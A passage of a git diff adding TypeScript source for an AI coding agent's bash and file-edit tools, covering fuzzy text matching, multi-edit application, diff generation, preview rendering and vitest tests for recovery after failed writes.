return { text, details }; + }; + + const appendStatus = (text: string, status: string) => + `${text ? `${text}\n\n` : ""}${status}`; + + try { + let exitCode: number | null; + try { + const result = await ops.exec(spawnContext.command, spawnContext.cwd, { + onData: handleData, + signal, + timeout, + env: spawnContext.env, + }); + exitCode = result.exitCode; + } catch (err) { + const snapshot = await finishOutput(); + const { text } = formatOutput(snapshot, ""); + if (err instanceof Error && err.message === "aborted") { + throw new Error(appendStatus(text, "Command aborted"), { cause: err }); + } + if (err instanceof Error && err.message.startsWith("timeout:")) { + const timeoutSecs = err.message.split(":")[1]; + throw new Error(appendStatus(text, `Command timed out after ${timeoutSecs} seconds`), { + cause: err, + }); + } + throw err; + } + + const snapshot = await finishOutput(); + const { text: outputText, details } = formatOutput(snapshot); + if (exitCode !== 0 && exitCode !== null) { + throw new Error(appendStatus(outputText, `Command exited with code ${exitCode}`)); + } + return { content: [{ type: "text", text: outputText }], details }; + } finally { + clearUpdateTimer(); + } + }, + renderCall(args, theme, context) { + void theme; + const state = context.state; + if (context.executionStarted && state.startedAt === undefined) { + state.startedAt = Date.now(); + state.endedAt = undefined; + } + const text = (context.lastComponent as Text | undefined) ?? new Text("", 0, 0); + text.setText(formatBashCall(args)); + return text; + }, + renderResult(result, options, theme, context) { + void theme; + const state = context.state; + if (state.startedAt !== undefined && options.isPartial && !state.interval) { + state.interval = setInterval(() => context.invalidate(), 1000); + } + if (!options.isPartial || context.isError) { + state.endedAt ??= Date.now(); + if (state.interval) { + clearInterval(state.interval); + state.interval = undefined; + } + } + const component = + (context.lastComponent as BashResultRenderComponent | undefined) ?? + new BashResultRenderComponent(); + rebuildBashResultRenderComponent( + component, + result, + options, + context.showImages, + state.startedAt, + state.endedAt, + ); + component.invalidate(); + return component; + }, + }; +} + +export function createBashTool( + cwd: string, + options?: BashToolOptions, +): AgentTool { + return wrapToolDefinition(createBashToolDefinition(cwd, options)); +} diff --git a/src/agents/sessions/tools/edit-diff.ts b/src/agents/sessions/tools/edit-diff.ts new file mode 100644 index 00000000000..2e1b3e94acb --- /dev/null +++ b/src/agents/sessions/tools/edit-diff.ts @@ -0,0 +1,493 @@ +/** + * Shared diff computation utilities for the edit tool. + * Used by both edit.ts (for execution) and tool-execution.ts (for preview rendering). + */ + +import { constants } from "node:fs"; +import { access, readFile } from "node:fs/promises"; +import * as Diff from "diff"; +import { resolveToCwd } from "./path-utils.js"; + +export function detectLineEnding(content: string): "\r\n" | "\n" { + const crlfIdx = content.indexOf("\r\n"); + const lfIdx = content.indexOf("\n"); + if (lfIdx === -1) { + return "\n"; + } + if (crlfIdx === -1) { + return "\n"; + } + return crlfIdx < lfIdx ? "\r\n" : "\n"; +} + +export function normalizeToLF(text: string): string { + return text.replace(/\r\n/g, "\n").replace(/\r/g, "\n"); +} + +export function restoreLineEndings(text: string, ending: "\r\n" | "\n"): string { + return ending === "\r\n" ? text.replace(/\n/g, "\r\n") : text; +} + +/** + * Normalize text for fuzzy matching. Applies progressive transformations: + * - Strip trailing whitespace from each line + * - Normalize smart quotes to ASCII equivalents + * - Normalize Unicode dashes/hyphens to ASCII hyphen + * - Normalize special Unicode spaces to regular space + */ +export function normalizeForFuzzyMatch(text: string): string { + return ( + text + .normalize("NFKC") + // Strip trailing whitespace per line + .split("\n") + .map((line) => line.trimEnd()) + .join("\n") + // Smart single quotes → ' + .replace(/[\u2018\u2019\u201A\u201B]/g, "'") + // Smart double quotes → " + .replace(/[\u201C\u201D\u201E\u201F]/g, '"') + // Various dashes/hyphens → - + // U+2010 hyphen, U+2011 non-breaking hyphen, U+2012 figure dash, + // U+2013 en-dash, U+2014 em-dash, U+2015 horizontal bar, U+2212 minus + .replace(/[\u2010\u2011\u2012\u2013\u2014\u2015\u2212]/g, "-") + // Special spaces → regular space + // U+00A0 NBSP, U+2002-U+200A various spaces, U+202F narrow NBSP, + // U+205F medium math space, U+3000 ideographic space + .replace(/[\u00A0\u2002-\u200A\u202F\u205F\u3000]/g, " ") + ); +} + +export interface FuzzyMatchResult { + /** Whether a match was found */ + found: boolean; + /** The index where the match starts (in the content that should be used for replacement) */ + index: number; + /** Length of the matched text */ + matchLength: number; + /** Whether fuzzy matching was used (false = exact match) */ + usedFuzzyMatch: boolean; + /** + * The content to use for replacement operations. + * When exact match: original content. When fuzzy match: normalized content. + */ + contentForReplacement: string; +} + +export interface Edit { + oldText: string; + newText: string; +} + +interface MatchedEdit { + editIndex: number; + matchIndex: number; + matchLength: number; + newText: string; +} + +export interface AppliedEditsResult { + baseContent: string; + newContent: string; +} + +/** + * Find oldText in content, trying exact match first, then fuzzy match. + * When fuzzy matching is used, the returned contentForReplacement is the + * fuzzy-normalized version of the content (trailing whitespace stripped, + * Unicode quotes/dashes normalized to ASCII). + */ +export function fuzzyFindText(content: string, oldText: string): FuzzyMatchResult { + // Try exact match first + const exactIndex = content.indexOf(oldText); + if (exactIndex !== -1) { + return { + found: true, + index: exactIndex, + matchLength: oldText.length, + usedFuzzyMatch: false, + contentForReplacement: content, + }; + } + + // Try fuzzy match - work entirely in normalized space + const fuzzyContent = normalizeForFuzzyMatch(content); + const fuzzyOldText = normalizeForFuzzyMatch(oldText); + const fuzzyIndex = fuzzyContent.indexOf(fuzzyOldText); + + if (fuzzyIndex === -1) { + return { + found: false, + index: -1, + matchLength: 0, + usedFuzzyMatch: false, + contentForReplacement: content, + }; + } + + // When fuzzy matching, we work in the normalized space for replacement. + // This means the output will have normalized whitespace/quotes/dashes, + // which is acceptable since we're fixing minor formatting differences anyway. + return { + found: true, + index: fuzzyIndex, + matchLength: fuzzyOldText.length, + usedFuzzyMatch: true, + contentForReplacement: fuzzyContent, + }; +} + +/** Strip UTF-8 BOM if present, return both the BOM (if any) and the text without it */ +export function stripBom(content: string): { bom: string; text: string } { + return content.startsWith("\uFEFF") + ? { bom: "\uFEFF", text: content.slice(1) } + : { bom: "", text: content }; +} + +function countOccurrences(content: string, oldText: string): number { + const fuzzyContent = normalizeForFuzzyMatch(content); + const fuzzyOldText = normalizeForFuzzyMatch(oldText); + return fuzzyContent.split(fuzzyOldText).length - 1; +} + +function getNotFoundError(path: string, editIndex: number, totalEdits: number): Error { + if (totalEdits === 1) { + return new Error( + `Could not find the exact text in ${path}. The old text must match exactly including all whitespace and newlines.`, + ); + } + return new Error( + `Could not find edits[${editIndex}] in ${path}. The oldText must match exactly including all whitespace and newlines.`, + ); +} + +function getDuplicateError( + path: string, + editIndex: number, + totalEdits: number, + occurrences: number, +): Error { + if (totalEdits === 1) { + return new Error( + `Found ${occurrences} occurrences of the text in ${path}. The text must be unique. Please provide more context to make it unique.`, + ); + } + return new Error( + `Found ${occurrences} occurrences of edits[${editIndex}] in ${path}. Each oldText must be unique. Please provide more context to make it unique.`, + ); +} + +function getEmptyOldTextError(path: string, editIndex: number, totalEdits: number): Error { + if (totalEdits === 1) { + return new Error(`oldText must not be empty in ${path}.`); + } + return new Error(`edits[${editIndex}].oldText must not be empty in ${path}.`); +} + +function getNoChangeError(path: string, totalEdits: number): Error { + if (totalEdits === 1) { + return new Error( + `No changes made to ${path}. The replacement produced identical content. This might indicate an issue with special characters or the text not existing as expected.`, + ); + } + return new Error(`No changes made to ${path}. The replacements produced identical content.`); +} + +/** + * Apply one or more exact-text replacements to LF-normalized content. + * + * All edits are matched against the same original content. Replacements are + * then applied in reverse order so offsets remain stable. If any edit needs + * fuzzy matching, the operation runs in fuzzy-normalized content space to + * preserve current single-edit behavior. + */ +export function applyEditsToNormalizedContent( + normalizedContent: string, + edits: Edit[], + path: string, +): AppliedEditsResult { + const normalizedEdits = edits.map((edit) => ({ + oldText: normalizeToLF(edit.oldText), + newText: normalizeToLF(edit.newText), + })); + + for (let i = 0; i < normalizedEdits.length; i++) { + if (normalizedEdits[i].oldText.length === 0) { + throw getEmptyOldTextError(path, i, normalizedEdits.length); + } + } + + const initialMatches = normalizedEdits.map((edit) => + fuzzyFindText(normalizedContent, edit.oldText), + ); + const baseContent = initialMatches.some((match) => match.usedFuzzyMatch) + ? normalizeForFuzzyMatch(normalizedContent) + : normalizedContent; + + const matchedEdits: MatchedEdit[] = []; + for (let i = 0; i < normalizedEdits.length; i++) { + const edit = normalizedEdits[i]; + const matchResult = fuzzyFindText(baseContent, edit.oldText); + if (!matchResult.found) { + throw getNotFoundError(path, i, normalizedEdits.length); + } + + const occurrences = countOccurrences(baseContent, edit.oldText); + if (occurrences > 1) { + throw getDuplicateError(path, i, normalizedEdits.length, occurrences); + } + + matchedEdits.push({ + editIndex: i, + matchIndex: matchResult.index, + matchLength: matchResult.matchLength, + newText: edit.newText, + }); + } + + matchedEdits.sort((a, b) => a.matchIndex - b.matchIndex); + for (let i = 1; i < matchedEdits.length; i++) { + const previous = matchedEdits[i - 1]; + const current = matchedEdits[i]; + if (previous.matchIndex + previous.matchLength > current.matchIndex) { + throw new Error( + `edits[${previous.editIndex}] and edits[${current.editIndex}] overlap in ${path}. Merge them into one edit or target disjoint regions.`, + ); + } + } + + let newContent = baseContent; + for (let i = matchedEdits.length - 1; i >= 0; i--) { + const edit = matchedEdits[i]; + newContent = + newContent.slice(0, edit.matchIndex) + + edit.newText + + newContent.slice(edit.matchIndex + edit.matchLength); + } + + if (baseContent === newContent) { + throw getNoChangeError(path, normalizedEdits.length); + } + + return { baseContent, newContent }; +} + +/** Generate a standard unified patch. */ +export function generateUnifiedPatch( + path: string, + oldContent: string, + newContent: string, + contextLines = 4, +): string { + return Diff.createTwoFilesPatch(path, path, oldContent, newContent, undefined, undefined, { + context: contextLines, + headerOptions: Diff.FILE_HEADERS_ONLY, + }); +} + +/** + * Generate a display-oriented diff string with line numbers and context. + * Returns both the diff string and the first changed line number (in the new file). + */ +export function generateDiffString( + oldContent: string, + newContent: string, + contextLines = 4, +): { diff: string; firstChangedLine: number | undefined } { + const parts = Diff.diffLines(oldContent, newContent); + const output: string[] = []; + + const oldLines = oldContent.split("\n"); + const newLines = newContent.split("\n"); + const maxLineNum = Math.max(oldLines.length, newLines.length); + const lineNumWidth = String(maxLineNum).length; + + let oldLineNum = 1; + let newLineNum = 1; + let lastWasChange = false; + let firstChangedLine: number | undefined; + + for (let i = 0; i < parts.length; i++) { + const part = parts[i]; + const raw = part.value.split("\n"); + if (raw[raw.length - 1] === "") { + raw.pop(); + } + + if (part.added || part.removed) { + // Capture the first changed line (in the new file) + if (firstChangedLine === undefined) { + firstChangedLine = newLineNum; + } + + // Show the change + for (const line of raw) { + if (part.added) { + const lineNum = String(newLineNum).padStart(lineNumWidth, " "); + output.push(`+${lineNum} ${line}`); + newLineNum++; + } else { + // removed + const lineNum = String(oldLineNum).padStart(lineNumWidth, " "); + output.push(`-${lineNum} ${line}`); + oldLineNum++; + } + } + lastWasChange = true; + } else { + // Context lines - only show a few before/after changes + const nextPartIsChange = i < parts.length - 1 && (parts[i + 1].added || parts[i + 1].removed); + const hasLeadingChange = lastWasChange; + const hasTrailingChange = nextPartIsChange; + + if (hasLeadingChange && hasTrailingChange) { + if (raw.length <= contextLines * 2) { + for (const line of raw) { + const lineNum = String(oldLineNum).padStart(lineNumWidth, " "); + output.push(` ${lineNum} ${line}`); + oldLineNum++; + newLineNum++; + } + } else { + const leadingLines = raw.slice(0, contextLines); + const trailingLines = raw.slice(raw.length - contextLines); + const skippedLines = raw.length - leadingLines.length - trailingLines.length; + + for (const line of leadingLines) { + const lineNum = String(oldLineNum).padStart(lineNumWidth, " "); + output.push(` ${lineNum} ${line}`); + oldLineNum++; + newLineNum++; + } + + output.push(` ${"".padStart(lineNumWidth, " ")} ...`); + oldLineNum += skippedLines; + newLineNum += skippedLines; + + for (const line of trailingLines) { + const lineNum = String(oldLineNum).padStart(lineNumWidth, " "); + output.push(` ${lineNum} ${line}`); + oldLineNum++; + newLineNum++; + } + } + } else if (hasLeadingChange) { + const shownLines = raw.slice(0, contextLines); + const skippedLines = raw.length - shownLines.length; + + for (const line of shownLines) { + const lineNum = String(oldLineNum).padStart(lineNumWidth, " "); + output.push(` ${lineNum} ${line}`); + oldLineNum++; + newLineNum++; + } + + if (skippedLines > 0) { + output.push(` ${"".padStart(lineNumWidth, " ")} ...`); + oldLineNum += skippedLines; + newLineNum += skippedLines; + } + } else if (hasTrailingChange) { + const skippedLines = Math.max(0, raw.length - contextLines); + if (skippedLines > 0) { + output.push(` ${"".padStart(lineNumWidth, " ")} ...`); + oldLineNum += skippedLines; + newLineNum += skippedLines; + } + + for (const line of raw.slice(skippedLines)) { + const lineNum = String(oldLineNum).padStart(lineNumWidth, " "); + output.push(` ${lineNum} ${line}`); + oldLineNum++; + newLineNum++; + } + } else { + // Skip these context lines entirely + oldLineNum += raw.length; + newLineNum += raw.length; + } + + lastWasChange = false; + } + } + + return { diff: output.join("\n"), firstChangedLine }; +} + +export interface EditDiffResult { + diff: string; + firstChangedLine: number | undefined; +} + +export interface EditDiffError { + error: string; +} + +export interface EditDiffOperations { + readFile: (absolutePath: string) => Promise; + access: (absolutePath: string) => Promise; +} + +/** + * Compute the diff for one or more edit operations without applying them. + * Used for preview rendering in the TUI before the tool executes. + */ +export async function computeEditsDiff( + path: string, + edits: Edit[], + cwd: string, + operations?: EditDiffOperations, +): Promise { + const absolutePath = resolveToCwd(path, cwd); + + try { + // Check if file exists and is readable + try { + if (operations) { + await operations.access(absolutePath); + } else { + await access(absolutePath, constants.R_OK); + } + } catch (error: unknown) { + const errorMessage = + error instanceof Error && "code" in error + ? `Error code: ${String(error.code)}` + : String(error); + return { error: `Could not edit file: ${path}. ${errorMessage}.` }; + } + + // Read the file + const rawContentResult = operations + ? await operations.readFile(absolutePath) + : await readFile(absolutePath, "utf-8"); + const rawContent = + typeof rawContentResult === "string" ? rawContentResult : rawContentResult.toString("utf-8"); + + // Strip BOM before matching (LLM won't include invisible BOM in oldText) + const { text: content } = stripBom(rawContent); + const normalizedContent = normalizeToLF(content); + const { baseContent, newContent } = applyEditsToNormalizedContent( + normalizedContent, + edits, + path, + ); + + // Generate the diff + return generateDiffString(baseContent, newContent); + } catch (err) { + return { error: err instanceof Error ? err.message : String(err) }; + } +} + +/** + * Compute the diff for a single edit operation without applying it. + * Kept as a convenience wrapper for single-edit callers. + */ +export async function computeEditDiff( + path: string, + oldText: string, + newText: string, + cwd: string, +): Promise { + return computeEditsDiff(path, [{ oldText, newText }], cwd); +} diff --git a/src/agents/sessions/tools/edit.test.ts b/src/agents/sessions/tools/edit.test.ts new file mode 100644 index 00000000000..ce069ca6881 --- /dev/null +++ b/src/agents/sessions/tools/edit.test.ts @@ -0,0 +1,171 @@ +import fs from "node:fs/promises"; +import os from "node:os"; +import path from "node:path"; +import { afterEach, describe, expect, it, vi } from "vitest"; +import type { Theme } from "../../modes/interactive/theme/theme.js"; +import { createEditTool, createEditToolDefinition, type EditOperations } from "./edit.js"; + +const testTheme = { + bg: (_name: string, text: string) => text, + bold: (text: string) => text, + fg: (_name: string, text: string) => text, +} as Theme; + +describe("edit tool", () => { + let tmpDir = ""; + + afterEach(async () => { + if (tmpDir) { + await fs.rm(tmpDir, { recursive: true, force: true }); + tmpDir = ""; + } + }); + + async function createTempFile(content: string) { + tmpDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-edit-tool-")); + const filePath = path.join(tmpDir, "demo.txt"); + await fs.writeFile(filePath, content, "utf-8"); + return filePath; + } + + it("adds current file contents to exact-match mismatch errors", async () => { + const filePath = await createTempFile("actual current content"); + const tool = createEditTool(tmpDir); + + await expect( + tool.execute( + "call-1", + { path: filePath, edits: [{ oldText: "missing", newText: "replacement" }] }, + undefined, + ), + ).rejects.toThrow(/Current file contents:\nactual current content/); + }); + + it("recovers success after a post-write throw when the edit already applied", async () => { + const filePath = await createTempFile('const value = "foo";\r\n'); + const operations: EditOperations = { + access: async (absolutePath) => { + await fs.access(absolutePath); + }, + readFile: (absolutePath) => fs.readFile(absolutePath), + writeFile: async (absolutePath, content) => { + await fs.writeFile(absolutePath, content, "utf-8"); + throw new Error("Simulated post-write failure"); + }, + }; + const tool = createEditTool(tmpDir, { operations }); + + const result = await tool.execute( + "call-1", + { + path: filePath, + edits: [ + { + oldText: 'const value = "foo";\n', + newText: 'const value = "foobar";\n', + }, + ], + }, + undefined, + ); + + expect(result.content[0]).toEqual({ + type: "text", + text: `Successfully replaced 1 block(s) in ${filePath}.`, + }); + await expect(fs.readFile(filePath, "utf-8")).resolves.toBe('const value = "foobar";\r\n'); + }); + + it("does not recover false success when the file never changed", async () => { + const filePath = await createTempFile("old replacement already present"); + const operations: EditOperations = { + access: async (absolutePath) => { + await fs.access(absolutePath); + }, + readFile: (absolutePath) => fs.readFile(absolutePath), + writeFile: async () => { + throw new Error("Simulated write failure"); + }, + }; + const tool = createEditTool(tmpDir, { operations }); + + await expect( + tool.execute( + "call-1", + { + path: filePath, + edits: [{ oldText: "old", newText: "replacement already present" }], + }, + undefined, + ), + ).rejects.toThrow("Simulated write failure"); + }); + + it("recovers multi-edit post-write failures", async () => { + const filePath = await createTempFile("alpha beta gamma delta\n"); + const operations: EditOperations = { + access: async (absolutePath) => { + await fs.access(absolutePath); + }, + readFile: (absolutePath) => fs.readFile(absolutePath), + writeFile: async (absolutePath, content) => { + await fs.writeFile(absolutePath, content, "utf-8"); + throw new Error("Simulated post-write failure"); + }, + }; + const tool = createEditTool(tmpDir, { operations }); + + const result = await tool.execute( + "call-1", + { + path: filePath, + edits: [ + { oldText: "alpha", newText: "ALPHA" }, + { oldText: "delta", newText: "DELTA" }, + ], + }, + undefined, + ); + + expect(result.content[0]).toEqual({ + type: "text", + text: `Successfully replaced 2 block(s) in ${filePath}.`, + }); + }); + + it("renders previews through custom edit operations", async () => { + const readFile = vi.fn(async () => Buffer.from("remote original\n")); + const operations: EditOperations = { + access: async () => {}, + readFile, + writeFile: async () => {}, + }; + const tool = createEditToolDefinition("/workspace", { operations }); + const args = { + path: "remote.txt", + edits: [{ oldText: "remote original", newText: "remote changed" }], + }; + const context = { + args, + argsComplete: true, + cwd: "/workspace", + executionStarted: false, + expanded: false, + invalidate: vi.fn(), + isError: false, + isPartial: false, + lastComponent: undefined, + showImages: false, + state: {}, + toolCallId: "call-preview", + }; + + const component = tool.renderCall?.(args, testTheme, context); + await vi.waitFor(() => expect(context.invalidate).toHaveBeenCalled()); + + expect(readFile).toHaveBeenCalledWith(path.join("/workspace", "remote.txt")); + expect((component as { preview?: { diff?: string } } | undefined)?.preview?.diff).toContain( + "remote changed", + ); + }); +}); diff --git a/src/agents/sessions/tools/edit.ts b/src/agents/sessions/tools/edit.ts new file mode 100644 index 00000000000..8869bbfd009 --- /dev/null +++ b/src/agents/sessions/tools/edit.ts @@ -0,0 +1,544 @@ +import { constants } from "node:fs"; +import { + access as fsAccess, + readFile as fsReadFile, + writeFile as fsWriteFile, +} from "node:fs/promises"; +import { Box, Container, Spacer, Text } from "@earendil-works/pi-tui"; +import { Type } from "typebox"; +import { renderDiff } from "../../modes/interactive/components/diff.js"; +import type { AgentTool } from "../../runtime/index.js"; +import type { ToolDefinition } from "../extensions/types.js"; +import { + applyEditsToNormalizedContent, + computeEditsDiff, + detectLineEnding, + type Edit, + type EditDiffError, + type EditDiffResult, + generateDiffString, + generateUnifiedPatch, + normalizeToLF, + restoreLineEndings, + stripBom, +} from "./edit-diff.js"; +import { withFileMutationQueue } from "./file-mutation-queue.js"; +import { resolveToCwd } from "./path-utils.js"; +import { invalidArgText, shortenPath, str } from "./render-utils.js"; +import type { EditToolDetails, EditToolInput } from "./tool-contracts.js"; +import { wrapToolDefinition } from "./tool-definition-wrapper.js"; + +type EditPreview = EditDiffResult | EditDiffError; + +type EditRenderState = { + callComponent?: EditCallRenderComponent; +}; + +const replaceEditSchema = Type.Object( + { + oldText: Type.String({ + description: + "Exact text for one targeted replacement. It must be unique in the original file and must not overlap with any other edits[].oldText in the same call.", + }), + newText: Type.String({ description: "Replacement text for this targeted edit." }), + }, + { additionalProperties: false }, +); + +const editSchema = Type.Object( + { + path: Type.String({ description: "Path to the file to edit (relative or absolute)" }), + edits: Type.Array(replaceEditSchema, { + description: + "One or more targeted replacements. Each edit is matched against the original file, not incrementally. Do not include overlapping or nested edits. If two changes touch the same block or nearby lines, merge them into one edit instead.", + }), + }, + { additionalProperties: false }, +); +export type { EditToolDetails, EditToolInput } from "./tool-contracts.js"; + +type LegacyEditToolInput = Record & { + edits?: unknown; + oldText?: unknown; + newText?: unknown; +}; + +const EDIT_MISMATCH_MESSAGE = "Could not find the exact text in"; +const EDIT_MISMATCH_HINT_LIMIT = 800; + +/** + * Pluggable operations for the edit tool. + * Override these to delegate file editing to remote systems (for example SSH). + */ +export interface EditOperations { + /** Read file contents as a Buffer */ + readFile: (absolutePath: string) => Promise; + /** Write content to a file */ + writeFile: (absolutePath: string, content: string) => Promise; + /** Check if file is readable and writable (throw if not) */ + access: (absolutePath: string) => Promise; +} + +const defaultEditOperations: EditOperations = { + readFile: (path) => fsReadFile(path), + writeFile: (path, content) => fsWriteFile(path, content, "utf-8"), + access: (path) => fsAccess(path, constants.R_OK | constants.W_OK), +}; + +export interface EditToolOptions { + /** Custom operations for file editing. Default: local filesystem */ + operations?: EditOperations; +} + +function prepareEditArguments(input: unknown): EditToolInput { + if (!input || typeof input !== "object") { + return input as EditToolInput; + } + + const args = input as Record; + + // Some models (Opus 4.6, GLM-5.1) send edits as a JSON string instead of an array + if (typeof args.edits === "string") { + try { + const parsed = JSON.parse(args.edits); + if (Array.isArray(parsed)) { + args.edits = parsed; + } + } catch {} + } + + const legacy = args as LegacyEditToolInput; + if (typeof legacy.oldText !== "string" || typeof legacy.newText !== "string") { + return args as unknown as EditToolInput; + } + + const edits = Array.isArray(legacy.edits) ? [...legacy.edits] : []; + edits.push({ oldText: legacy.oldText, newText: legacy.newText }); + const { oldText, newText, ...rest } = legacy; + return { ...rest, edits } as EditToolInput; +} + +function validateEditInput(input: EditToolInput): { path: string; edits: Edit[] } { + if (!Array.isArray(input.edits) || input.edits.length === 0) { + throw new Error("Edit tool input is invalid. edits must contain at least one replacement."); + } + return { path: input.path, edits: input.edits }; +} + +function removeExactOccurrences(content: string, needle: string): string { + return needle.length > 0 ? content.split(needle).join("") : content; +} + +function didEditLikelyApply(params: { + originalContent: string; + currentContent: string; + edits: Edit[]; +}): boolean { + if (params.edits.length === 0) { + return false; + } + const normalizedOriginal = normalizeToLF(params.originalContent); + const normalizedCurrent = normalizeToLF(params.currentContent); + if (normalizedOriginal === normalizedCurrent) { + return false; + } + + let withoutInsertedNewText = normalizedCurrent; + for (const edit of params.edits) { + const normalizedNew = normalizeToLF(edit.newText); + if (normalizedNew.length > 0 && !normalizedCurrent.includes(normalizedNew)) { + return false; + } + withoutInsertedNewText = removeExactOccurrences(withoutInsertedNewText, normalizedNew); + } + + return params.edits.every( + (edit) => !withoutInsertedNewText.includes(normalizeToLF(edit.oldText)), + ); +} + +function appendMismatchHint(error: Error, currentContent: string): Error { + const snippet = + currentContent.length <= EDIT_MISMATCH_HINT_LIMIT + ? currentContent + : `${currentContent.slice(0, EDIT_MISMATCH_HINT_LIMIT)}\n... (truncated)`; + const enhanced = new Error(`${error.message}\nCurrent file contents:\n${snippet}`, { + cause: error, + }); + enhanced.stack = error.stack; + return enhanced; +} + +type RenderableEditArgs = { + path?: string; + file_path?: string; + edits?: Edit[]; + oldText?: string; + newText?: string; +}; + +type EditToolResultLike = { + content: Array<{ type: string; text?: string; data?: string; mimeType?: string }>; + details?: EditToolDetails; +}; + +type EditCallRenderComponent = Box & { + preview?: EditPreview; + previewArgsKey?: string; + previewPending?: boolean; + settledError?: boolean; +}; + +function createEditCallRenderComponent(): EditCallRenderComponent { + return Object.assign(new Box(1, 1, (text: string) => text), { + preview: undefined as EditPreview | undefined, + previewArgsKey: undefined as string | undefined, + previewPending: false, + settledError: false, + }); +} + +function getEditCallRenderComponent( + state: EditRenderState, + lastComponent: unknown, +): EditCallRenderComponent { + if (lastComponent instanceof Box) { + const component = lastComponent as EditCallRenderComponent; + state.callComponent = component; + return component; + } + if (state.callComponent) { + return state.callComponent; + } + const component = createEditCallRenderComponent(); + state.callComponent = component; + return component; +} + +function getRenderablePreviewInput( + args: RenderableEditArgs | undefined, +): { path: string; edits: Edit[] } | null { + if (!args) { + return null; + } + + const path = + typeof args.path === "string" + ? args.path + : typeof args.file_path === "string" + ? args.file_path + : null; + if (!path) { + return null; + } + + if ( + Array.isArray(args.edits) && + args.edits.length > 0 && + args.edits.every( + (edit) => typeof edit?.oldText === "string" && typeof edit?.newText === "string", + ) + ) { + return { path, edits: args.edits }; + } + + if (typeof args.oldText === "string" && typeof args.newText === "string") { + return { path, edits: [{ oldText: args.oldText, newText: args.newText }] }; + } + + return null; +} + +function formatEditCall( + args: RenderableEditArgs | undefined, + theme: typeof import("../../modes/interactive/theme/theme.js").theme, +): string { + const invalidArg = invalidArgText(theme); + const rawPath = str(args?.file_path ?? args?.path); + const path = rawPath !== null ? shortenPath(rawPath) : null; + const pathDisplay = + path === null ? invalidArg : path ? theme.fg("accent", path) : theme.fg("toolOutput", "..."); + return `${theme.fg("toolTitle", theme.bold("edit"))} ${pathDisplay}`; +} + +function formatEditResult( + args: RenderableEditArgs | undefined, + preview: EditPreview | undefined, + result: EditToolResultLike, + theme: typeof import("../../modes/interactive/theme/theme.js").theme, + isError: boolean, +): string | undefined { + const rawPath = str(args?.file_path ?? args?.path); + const previewDiff = preview && !("error" in preview) ? preview.diff : undefined; + const previewError = preview && "error" in preview ? preview.error : undefined; + if (isError) { + const errorText = result.content + .filter((c) => c.type === "text") + .map((c) => c.text || "") + .join("\n"); + if (!errorText || errorText === previewError) { + return undefined; + } + return theme.fg("error", errorText); + } + + const resultDiff = result.details?.diff; + if (resultDiff && resultDiff !== previewDiff) { + return renderDiff(resultDiff, { filePath: rawPath ?? undefined }); + } + + return undefined; +} + +function getEditHeaderBg( + preview: EditPreview | undefined, + settledError: boolean | undefined, + theme: typeof import("../../modes/interactive/theme/theme.js").theme, +): (text: string) => string { + if (preview) { + if ("error" in preview) { + return (text: string) => theme.bg("toolErrorBg", text); + } + return (text: string) => theme.bg("toolSuccessBg", text); + } + if (settledError) { + return (text: string) => theme.bg("toolErrorBg", text); + } + return (text: string) => theme.bg("toolPendingBg", text); +} + +function buildEditCallComponent( + component: EditCallRenderComponent, + args: RenderableEditArgs | undefined, + theme: typeof import("../../modes/interactive/theme/theme.js").theme, +): EditCallRenderComponent { + component.setBgFn(getEditHeaderBg(component.preview, component.settledError, theme)); + component.clear(); + component.addChild(new Text(formatEditCall(args, theme), 0, 0)); + + if (!component.preview) { + return component; + } + + const body = + "error" in component.preview + ? theme.fg("error", component.preview.error) + : renderDiff(component.preview.diff); + component.addChild(new Spacer(1)); + component.addChild(new Text(body, 0, 0)); + return component; +} + +function setEditPreview( + component: EditCallRenderComponent, + preview: EditPreview, + argsKey: string | undefined, +): boolean { + const current = component.preview; + const changed = + current === undefined || + ("error" in current && "error" in preview + ? current.error !== preview.error + : "error" in current !== "error" in preview) || + (!("error" in current) && + !("error" in preview) && + (current.diff !== preview.diff || current.firstChangedLine !== preview.firstChangedLine)); + component.preview = preview; + component.previewArgsKey = argsKey; + component.previewPending = false; + return changed; +} + +export function createEditToolDefinition( + cwd: string, + options?: EditToolOptions, +): ToolDefinition { + const ops = options?.operations ?? defaultEditOperations; + return { + name: "edit", + label: "edit", + description: + "Edit a single file using exact text replacement. Every edits[].oldText must match a unique, non-overlapping region of the original file. If two changes affect the same block or nearby lines, merge them into one edit instead of emitting overlapping edits. Do not include large unchanged regions just to connect distant changes.", + promptSnippet: + "Make precise file edits with exact text replacement, including multiple disjoint edits in one call", + promptGuidelines: [ + "Use edit for precise changes (edits[].oldText must match exactly)", + "When changing multiple separate locations in one file, use one edit call with multiple entries in edits[] instead of multiple edit calls", + "Each edits[].oldText is matched against the original file, not after earlier edits are applied. Do not emit overlapping or nested edits. Merge nearby changes into one edit.", + "Keep edits[].oldText as small as possible while still being unique in the file. Do not pad with large unchanged regions.", + ], + parameters: editSchema, + renderShell: "self", + prepareArguments: prepareEditArguments, + async execute(toolCallId, input: EditToolInput, signal?: AbortSignal, onUpdate?, ctx?) { + void toolCallId; + void onUpdate; + void ctx; + const { path, edits } = validateEditInput(input); + const absolutePath = resolveToCwd(path, cwd); + + return withFileMutationQueue(absolutePath, async () => { + if (signal?.aborted) { + throw new Error("Operation aborted"); + } + + try { + await ops.access(absolutePath); + } catch (error: unknown) { + const errorMessage = + error instanceof Error && "code" in error + ? `Error code: ${String(error.code)}` + : String(error); + throw new Error(`Could not edit file: ${path}. ${errorMessage}.`, { + cause: error, + }); + } + + const buffer = await ops.readFile(absolutePath); + const rawContent = buffer.toString("utf-8"); + try { + if (signal?.aborted) { + throw new Error("Operation aborted"); + } + + const { bom, text: content } = stripBom(rawContent); + const originalEnding = detectLineEnding(content); + const normalizedContent = normalizeToLF(content); + const { baseContent, newContent } = applyEditsToNormalizedContent( + normalizedContent, + edits, + path, + ); + const finalContent = bom + restoreLineEndings(newContent, originalEnding); + await ops.writeFile(absolutePath, finalContent); + if (signal?.aborted) { + throw new Error("Operation aborted"); + } + + const diffResult = generateDiffString(baseContent, newContent); + const patch = generateUnifiedPatch(path, baseContent, newContent); + return { + content: [ + { + type: "text", + text: `Successfully replaced ${edits.length} block(s) in ${path}.`, + }, + ], + details: { + diff: diffResult.diff, + patch, + firstChangedLine: diffResult.firstChangedLine, + }, + }; + } catch (error: unknown) { + const normalizedError = error instanceof Error ? error : new Error(String(error)); + const currentContent = await ops + .readFile(absolutePath) + .then((current) => current.toString("utf-8")) + .catch(() => rawContent); + if (didEditLikelyApply({ originalContent: rawContent, currentContent, edits })) { + return { + content: [ + { + type: "text", + text: `Successfully replaced ${edits.length} 